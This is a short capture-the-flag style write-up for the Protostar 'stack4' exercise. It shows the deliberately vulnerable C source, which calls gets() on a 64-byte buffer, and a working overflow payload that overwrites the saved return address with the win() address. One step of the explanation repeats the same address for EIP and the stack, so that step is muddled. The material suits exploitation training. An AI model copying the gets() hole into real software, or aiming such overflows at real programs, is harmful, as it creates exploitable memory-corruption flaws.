stack4

TL;DR -> ` python -c "print 'A'*76 + '\xf4\x83\x04\x08'" | ./stack4`

Stack4

URL: https://exploit.education/protostar/stack-four/ Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

This level is at /opt/protostar/bin/stack4

Hints

  • A variety of introductory papers into buffer overflows may help. gdb lets you do “run < input” EIP is not directly after the end of buffer, compiler padding can also increase the size.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Writeup

Here, we have to find the padding. I have done that using $ebp and $eip pointer.

The $eip pointer is 0xbffff7bc and the stack starts from 0xbffff7bc as the hex value for A is 0x41.

Getting the difference of $eip and $ebp will give use the length of payload, that is 76.

At last, appending the win function address to payload will solve the problem!

You will get the address of win function using x win from GDB.

Payload: python -c "print 'A'*76 + '\xf4\x83\x04\x08'"

One liner solution: python -c "print 'A'*76 + '\xf4\x83\x04\x08'" | ./stack4

Previousstack3Nextstack5

Last updated